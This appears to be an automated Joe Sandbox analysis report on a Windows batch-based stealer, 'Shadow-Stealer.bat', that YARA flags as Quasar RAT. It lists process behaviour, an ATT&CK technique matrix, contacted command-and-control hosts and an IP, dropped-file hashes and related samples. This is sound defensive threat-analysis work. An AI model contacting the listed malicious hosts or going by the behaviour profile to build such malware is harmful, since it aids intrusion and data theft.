Source: C:\Windows\$sxr-cmd.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	13_2_00007FF7137F51EC
Source: C:\Windows\$sxr-cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	13_2_00007FF7137E6EE4
Source: C:\Windows\$sxr-cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	13_2_00007FF7137F3140

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\$sxr-mshta.exe

Code function: 10_2_000001ACE9011540 cpuid

10_2_000001ACE9011540

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Code function: 10_2_000001ACEA2D7AE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_2_000001ACEA2D7AE0

Source: C:\Windows\System32\dllhost.exe

Code function: 20_2_000000014000165C CreateNamedPipeW,

20_2_000000014000165C

Source: C:\Windows\$sxr-mshta.exe

10_2_00007FF64E1D1008

Stealing of Sensitive Information

Yara detected Quasar RAT

Source: Yara match

File source: Process Memory Space: $sxr-powershell.exe PID: 6400, type: MEMORYSTR

Remote Access Functionality

Yara detected Quasar RAT

Source: Yara match

File source: Process Memory Space: $sxr-powershell.exe PID: 6400, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Scripting	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	2 Native API	1 Scheduled Task/Job	11 Access Token Manipulation	1 Scripting	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	Automated Exfiltration	1 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	21 Command and Scripting Interpreter	Login Hook	413 Process Injection	1 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Scheduled Task/Job	3 Software Packing	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	31 PowerShell	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	121 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	1 Valid Accounts	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances
Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	Exfiltration Over Physical Medium	DNS			Resource Hijacking	DNS Server	Gather Victim Org Information
Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	413 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Exfiltration over USB	Proxy			Network Denial of Service	Virtual Private Server	Determine Physical Locations
Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Commonly Used Port	Internal Proxy			Direct Network Flood	Server	Business Relationships

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shadow-Stealer.bat	0%	ReversingLabs
Shadow-Stealer.bat	0%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\Desktop\Shadow-Stealer.bat.exe	0%	ReversingLabs
C:\Users\user\Desktop\Shadow-Stealer.bat.exe	0%	Virustotal	Browse
C:\Windows\$sxr-cmd.exe	0%	ReversingLabs
C:\Windows\$sxr-cmd.exe	0%	Virustotal	Browse
C:\Windows\$sxr-mshta.exe	0%	ReversingLabs
C:\Windows\$sxr-mshta.exe	0%	Virustotal	Browse
C:\Windows\$sxr-powershell.exe	0%	ReversingLabs
C:\Windows\$sxr-powershell.exe	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
eu-central-7075.packetriot.net	16%	Virustotal		Browse
throbbing-mountain-09011.pktriot.net	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.microsoft.	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://crl.micros	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
eu-central-7075.packetriot.net	167.71.56.116	true	true	16%, Virustotal, Browse	unknown
throbbing-mountain-09011.pktriot.net	unknown	unknown	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000018.00000000.2485644679.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361810056.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	$sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCFF5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	$sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/P	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/json	$sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	$sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.	lsass.exe, 00000018.00000002.3362525625.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485686627.000002D6F0688000.00000004.00000001.00020000.00000000.sdmp, cscript.exe, 0000001C.00000002.3371306184.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000001C.00000000.2515366668.0000000002F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6	$sxr-powershell.exe, 00000013.00000002.3357613110.000001F58004F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	$sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABC7D1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000013.00000002.3357613110.000001F580074000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000018.00000000.2485644679.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.3361810056.000002D6F064E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000018.00000002.3361372135.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.2485626357.000002D6F062F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	$sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABC7D1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000013.00000002.3357613110.000001F58009C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	$sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/JamesNK/Newtonsoft.Json	$sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micros	cscript.exe, 0000001C.00000002.3371306184.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000001C.00000000.2515366668.0000000002F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
167.71.56.116	eu-central-7075.packetriot.net	United States		14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1352637
Start date and time:	2023-12-03 16:33:58 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	12
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Shadow-Stealer.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winBAT@52/13@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 90 Number of non-executed functions: 277
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:34:54	API Interceptor	34x Sleep call for process: Shadow-Stealer.bat.exe modified
16:35:14	API Interceptor	13371x Sleep call for process: $sxr-powershell.exe modified
16:35:57	API Interceptor	123591x Sleep call for process: winlogon.exe modified
16:35:59	API Interceptor	113697x Sleep call for process: dwm.exe modified
16:35:59	API Interceptor	88254x Sleep call for process: lsass.exe modified
16:35:59	API Interceptor	654x Sleep call for process: svchost.exe modified
16:36:02	API Interceptor	83x Sleep call for process: cscript.exe modified
16:36:03	API Interceptor	78x Sleep call for process: WmiPrvSE.exe modified
16:36:04	API Interceptor	63x Sleep call for process: yApVCRtJPjQJu.exe modified
16:36:05	API Interceptor	220x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
167.71.56.116	OvA6x5v34G.exe	Get hash	malicious	AsyncRAT	Browse
	zUYpYikG7T.exe	Get hash	malicious	njRat	Browse
	SdwkQEBnc3.exe	Get hash	malicious	Nanocore	Browse
	riV1K85Awe.exe	Get hash	malicious	Nanocore	Browse
	Malwarebytes Gears.exe	Get hash	malicious	AsyncRAT	Browse
	H8RZSly6dG.exe	Get hash	malicious	Njrat	Browse
	8E8732B9BEBC8382E938B48697E79FEB4B06528DF41FD.exe	Get hash	malicious	njRat	Browse
	qCotr6jZt2.exe	Get hash	malicious	njRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
eu-central-7075.packetriot.net	OvA6x5v34G.exe	Get hash	malicious	AsyncRAT	Browse	167.71.56.116
	zUYpYikG7T.exe	Get hash	malicious	njRat	Browse	167.71.56.116
	SdwkQEBnc3.exe	Get hash	malicious	Nanocore	Browse	167.71.56.116
	riV1K85Awe.exe	Get hash	malicious	Nanocore	Browse	167.71.56.116
	Malwarebytes Gears.exe	Get hash	malicious	AsyncRAT	Browse	167.71.56.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	76IbxcfOQf.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	37.139.22.180
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	37.139.22.180
	REQUEST FOR 01-DEC 2023.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	Altogether.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.225.91.73
	Plyshaar.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.225.91.73
	SecuriteInfo.com.Win32.PWSX-gen.16993.11761.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	SecuriteInfo.com.Win32.PWSX-gen.1907.2567.exe	Get hash	malicious	Lokibot	Browse	178.128.238.137
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	165.227.156.49
	DocScan 105811-26.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	m2jngcTeBu.elf	Get hash	malicious	Mirai	Browse	162.243.214.175
	DocScan 814-1125-2023.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	https://login.logggiondocuumennnt.click/?username=cew@smrw.com	Get hash	malicious	HTMLPhisher	Browse	188.166.83.143
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	138.68.169.154
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	67.205.189.1
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	142.93.169.197
	http://192.241.199.70	Get hash	malicious	Unknown	Browse	192.241.199.70
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	165.22.196.27
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	68.183.34.12
	malfor-cw-sample.exe	Get hash	malicious	Unknown	Browse	167.99.88.222

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\Shadow-Stealer.bat.exe	trafik_yenilme.bat	Get hash	malicious	Remcos, zgRAT	Browse
	a.bat	Get hash	malicious	Agniane Stealer, zgRAT	Browse
	Rune_Launcher.bat	Get hash	malicious	Quasar	Browse
	SCO_23.bat	Get hash	malicious	zgRAT	Browse
	IMG_690B23.docx.bat	Get hash	malicious	AgentTesla	Browse
	Qtagiietkyb.png.bat	Get hash	malicious	Strela Stealer	Browse
	IMG_690B23.bat	Get hash	malicious	AgentTesla, zgRAT	Browse
	SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe	Get hash	malicious	Unknown	Browse
	345d.cmd	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	PingOptimizerMain.bat	Get hash	malicious	Quasar	Browse
	crack.bat	Get hash	malicious	Unknown	Browse
	da49aae4ea90792e9f5497dcd2c4fa8cf7bb98a23b2d846ab985facf.bat	Get hash	malicious	Quasar	Browse
	Final_rooming_list.bat	Get hash	malicious	Blackshades, Quasar	Browse
	RE_432-7784.js	Get hash	malicious	Unknown	Browse
	FA150623.pdf.bat	Get hash	malicious	AgentTesla	Browse
	Uni.bat	Get hash	malicious	Unknown	Browse
	update_SC.bat	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Shadow-Stealer.bat.exe.log

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3603
Entropy (8bit):	5.364531743127414
Encrypted:	false
SSDEEP:	96:iqbYqGSI6o9xYsntpDxqKkWqmq1ftzHNYrKaq7mSRIzQ09wmj0qD:iqbYqGcQtpDxqKkWqmq1ftzHuLqdIzQk
MD5:	CB025951AB11BC9879660B66AB48A871
SHA1:	539153A3469E5EA91A5700944F0CC3547C32AE21
SHA-256:	057D8F2026B51CBB81516E9A8DDE433D4AEBE1FF6E22D1CB60A742E1EA899367
SHA-512:	E7095F21D3765FBC7E5F4E97C2CC37A8E56802D5AE7CAE1276BE62E096AF1B06B8B31B83CF7B475D6BE3D82186772B95ADB45A68A84AD060EDCCA3154B4CE6F9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\0827b790b8e74d0d12643297a812ae07\Microsoft.PowerShell.ConsoleHost.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.Automation.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d5

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.887486353364779
Encrypted:	false
SSDEEP:	192:I9sm73YrKkDp5hVsm5eml89smFp5IiMDOmEN3H+OHgFqxoeRM3YrKkDVsm5emlpj:HPYmiQ0HzAFItib4Mib4WVoGIpN6KQkT
MD5:	69E9F3FAAEAC92E92B26596DBA884D3B
SHA1:	02A87F2EAD0B9DC6202372D370B4D58D025B7CB2
SHA-256:	F2453CFAB4FB2EB61E0E4DD4BAF35E926BE43E0C8E36569A3A325E605316B321
SHA-512:	BD0EEF728D260D0BD217B507DC217BB96FA0C069FA872E6D5C8805B922ED81D9F0528AC1EE775F0BC1B1BB666FCE7B170385E5AE229A55D0D4FFF2AC936524FF
Malicious:	false
Preview:	PSMODULECACHE..........z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-.l..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider.............z..I...C:\Program Files 